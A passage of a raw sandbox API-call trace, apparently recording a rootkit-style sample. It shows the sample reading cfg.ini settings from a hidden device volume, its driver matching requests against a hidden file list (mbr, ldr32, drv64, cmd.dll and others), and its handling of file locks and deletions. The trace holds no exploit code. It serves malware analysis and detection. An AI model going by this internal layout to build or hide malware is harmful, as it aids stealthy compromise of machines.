FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.418] KeLeaveCriticalRegion () [0121.418] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.418] ReleaseMutex (hMutex=0xf0) returned 1 [0121.418] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.418] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.418] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.418] KeEnterCriticalRegion () [0121.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.418] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.418] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.418] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.418] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.418] IdePortDispatch () returned 0x103 [0121.418] KeWaitForMutexObject () returned 0x0 [0121.419] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.419] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.419] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.419] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.419] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.419] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4a20 [0121.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.419] KeLeaveCriticalRegion () [0121.419] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.419] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.419] KeEnterCriticalRegion () [0121.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.419] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.419] KeLeaveCriticalRegion () [0121.419] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.419] KeEnterCriticalRegion () [0121.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.419] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.419] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.419] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.419] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.419] IdePortDispatch () returned 0x103 [0121.419] KeWaitForMutexObject () returned 0x0 [0121.419] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.419] KeLeaveCriticalRegion () [0121.419] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.419] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.419] KeEnterCriticalRegion () [0121.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.419] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b25000 [0121.419] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.419] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.419] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.420] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.420] IdePortDispatch () returned 0x103 [0121.420] KeWaitForMutexObject () returned 0x0 [0121.420] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.420] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.420] IdePortDispatch () returned 0x103 [0121.420] KeWaitForMutexObject () returned 0x0 [0121.420] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.420] KeLeaveCriticalRegion () [0121.420] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.421] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.421] KeEnterCriticalRegion () [0121.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.421] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.421] KeLeaveCriticalRegion () [0121.421] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.421] KeEnterCriticalRegion () [0121.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.421] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.421] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc38b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.421] KeLeaveCriticalRegion () [0121.421] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.421] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.421] KeEnterCriticalRegion () [0121.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.421] ExFreePoolWithTag (P=0xfffffa8003bc4a20, Tag=0x0) [0121.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.421] KeLeaveCriticalRegion () [0121.421] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.421] ReleaseMutex (hMutex=0xf0) returned 1 [0121.421] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.421] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.421] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.421] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.421] KeEnterCriticalRegion () [0121.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.421] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.421] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.421] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.421] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.421] IdePortDispatch () returned 0x103 [0121.421] KeWaitForMutexObject () returned 0x0 [0121.421] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.421] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.422] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.422] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.422] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.422] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.422] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.422] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.422] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.422] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.422] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.422] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.422] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.422] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.422] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.422] KeLeaveCriticalRegion () [0121.422] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.422] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.422] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.422] KeEnterCriticalRegion () [0121.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.422] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.422] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.422] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.422] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.422] IdePortDispatch () returned 0x103 [0121.422] KeWaitForMutexObject () returned 0x0 [0121.423] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.423] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.423] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.423] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.423] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.423] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.423] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.423] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.423] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.423] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.423] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.423] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.423] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.423] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.423] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.423] KeLeaveCriticalRegion () [0121.423] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.423] ReleaseMutex (hMutex=0x100) returned 1 [0121.423] Sleep (dwMilliseconds=0x2bf20) [0121.431] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b92e6d0, dwHighDateTime=0x1d24fa4)) [0121.431] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.431] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.431] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.431] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.431] KeEnterCriticalRegion () [0121.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.431] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.431] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.431] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.431] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.431] IdePortDispatch () returned 0x103 [0121.431] KeWaitForMutexObject () returned 0x0 [0121.432] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.432] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.432] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.432] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.432] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.432] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba4b0 [0121.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.432] KeLeaveCriticalRegion () [0121.432] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.432] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.432] KeEnterCriticalRegion () [0121.432] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.432] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.432] KeLeaveCriticalRegion () [0121.432] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.432] KeEnterCriticalRegion () [0121.432] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.432] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.432] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.432] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.432] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.432] IdePortDispatch () returned 0x103 [0121.432] KeWaitForMutexObject () returned 0x0 [0121.432] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.432] KeLeaveCriticalRegion () [0121.432] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.432] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.432] KeEnterCriticalRegion () [0121.432] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.432] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2c000 [0121.432] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.432] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.432] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.432] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.432] IdePortDispatch () returned 0x103 [0121.433] KeWaitForMutexObject () returned 0x0 [0121.433] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.433] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.433] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.433] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.433] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.433] IdePortDispatch () returned 0x103 [0121.433] KeWaitForMutexObject () returned 0x0 [0121.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.433] KeLeaveCriticalRegion () [0121.433] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.433] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.433] KeEnterCriticalRegion () [0121.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.433] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.434] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.434] KeLeaveCriticalRegion () [0121.434] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.434] KeEnterCriticalRegion () [0121.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.434] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.434] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.434] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.434] KeLeaveCriticalRegion () [0121.434] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.434] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.434] KeEnterCriticalRegion () [0121.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.434] ExFreePoolWithTag (P=0xfffffa8003bba4b0, Tag=0x0) [0121.434] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.434] KeLeaveCriticalRegion () [0121.434] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.434] ReleaseMutex (hMutex=0xf0) returned 1 [0121.434] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.434] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.434] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.434] KeEnterCriticalRegion () [0121.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.434] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.434] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.434] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.434] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.434] IdePortDispatch () returned 0x103 [0121.435] KeWaitForMutexObject () returned 0x0 [0121.435] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.435] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.435] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.435] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.435] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.435] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4a20 [0121.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.435] KeLeaveCriticalRegion () [0121.435] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.435] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.435] KeEnterCriticalRegion () [0121.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.435] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.435] KeLeaveCriticalRegion () [0121.435] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.435] KeEnterCriticalRegion () [0121.436] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.436] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.436] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.436] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.436] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.436] IdePortDispatch () returned 0x103 [0121.436] KeWaitForMutexObject () returned 0x0 [0121.436] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.436] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.436] KeLeaveCriticalRegion () [0121.436] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.436] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.436] KeEnterCriticalRegion () [0121.436] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.436] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2d000 [0121.436] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.436] IoAllocateMdl (in: 